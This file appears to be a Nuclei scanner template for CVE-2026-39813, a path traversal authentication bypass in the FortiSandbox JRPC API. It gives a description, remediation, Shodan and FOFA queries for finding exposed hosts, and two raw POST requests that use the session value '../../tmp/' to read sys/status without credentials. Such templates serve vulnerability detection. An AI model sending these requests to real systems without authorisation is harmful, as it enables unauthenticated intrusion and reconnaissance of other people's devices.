Fortinet FortiSandbox - Path Traversal Authentication Bypass

id: CVE-2026-39813

info:
  name: Fortinet FortiSandbox - Path Traversal Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    A path traversal vulnerability (CWE-24) in the FortiSandbox JRPC API is_valid_session() function allows an unauthenticated attacker to bypass authentication. The user-supplied session value is passed to os.path.join() without validation. A session of "../../tmp/" resolves to /tmp/, which always exists and has a recent mtime, so the session check succeeds. This grants unauthenticated access to read-only JRPC methods such as sys/status (version, hostname, serial number, and resource usage). Affects FortiSandbox 4.4.0 through 4.4.8 and 5.0.0 through 5.0.5. Fixed in 4.4.9 and 5.0.6 (FG-IR-26-112). The patched is_valid_session() accepts only 32-character hexadecimal session IDs.
  impact: |
    An unauthenticated attacker can bypass JRPC authentication and retrieve sensitive system information, and may escalate privileges via further crafted HTTP requests.
  remediation: |
    Upgrade FortiSandbox to 4.4.9 or later, or 5.0.6 or later. If immediate upgrade is not possible, restrict access to the /jsonrpc/ endpoint and block JRPC requests containing path-traversal sequences.
  reference:
    - https://rustlang.rs/posts/blog_cve_2026_39813_en/
    - https://fortiguard.fortinet.com/psirt/FG-IR-26-112
    - https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-038/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39813
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-39813
    cwe-id: CWE-24
    epss-score: 0.44014
    epss-percentile: 0.98771
    cpe: cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: fortinet
    product: fortisandbox
    shodan-query: title:"FortiSandbox"
    fofa-query: title="FortiSandbox"
  tags: cve,cve2026,fortinet,fortisandbox,lfi,traversal,auth-bypass,vkev

http:
  - raw:
      - |
        POST /fortisandbox/jsonrpc/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        data={"id":1,"session":"../../tmp/","method":"get","params":[{"url":"sys/status"}],"ver":"2.0"}

      - |
        POST /jsonrpc/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        data={"id":1,"session":"../../tmp/","method":"get","params":[{"url":"sys/status"}],"ver":"2.0"}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Serial-Number"'
          - '"status"'
          - '"result"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"